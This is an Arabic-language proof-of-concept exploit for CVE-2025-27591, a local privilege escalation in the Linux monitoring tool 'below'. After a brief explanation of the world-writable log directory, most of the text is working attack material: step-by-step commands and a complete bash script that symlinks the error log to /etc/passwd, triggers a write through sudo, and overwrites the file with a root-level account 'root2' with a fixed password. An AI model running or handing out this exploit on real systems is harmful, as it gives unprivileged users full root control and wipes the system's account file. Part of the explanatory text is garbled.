
تصعيد الامتيازات المحلي عبر `below` (CVE-2025-27591) - استغلال PoC
Below هي أداة لينكس لتسجيل وعرض بيانات النظام مثل استخدام العتاد ومقاييس cgroup.
في الإصدارات السابقة لـ v0.9.0، تعمل خدمة systemd الخاصة بـ Below بصلاحيات root وتنشئ دلائل وملفات سجلات قابلة للكتابة عالميًا تحت /var/log/below. هذا الإعداد غير الآمن يتيح هجمات الروابط الرمزية التي تسمح لمستخدم محلي غير مميز بتصعيد الامتيازات إلى root.
تم تخصيص CVE-2025-27591 لهذه المشكلة.
أصلحها upstream في الإصدار v0.9.0.
/var/log/below/var/log/below صلاحيات 0777 عند التشغيل./var/log/below/error_root.log بصلاحيات 0666./etc/passwd).هذا السلوك يتجاوز تحصين protected_symlinks في النواة لأن البت اللاصق (sticky bit) غير مطبق.
من خلال توجيه error_root.log إلى /etc/passwd، يمكننا حقن مستخدم root جديد بكلمة مرور معروفة.
الخطوة 1: إنشاء نسخة احتياطية من /etc/passwd.
احرص دائمًا على عمل نسخة احتياطية قبل تعديل ملفات النظام:
cp /etc/passwd /tmp/passwd.bak
الخطوة 2: إنشاء إدخال مستخدم خبيث
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
الخطوة 3: إنشاء رابط رمزي للسجل القابل للاستغلال
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
الخطوة 4: تشغيل إنشاء السجل
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
الخطوة 5: الكتابة فوق /etc/passwd
cat /tmp/payload > /var/log/below/error_root.log
الخطوة 6: التبديل إلى مستخدم root الجديد
su root2
# password: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
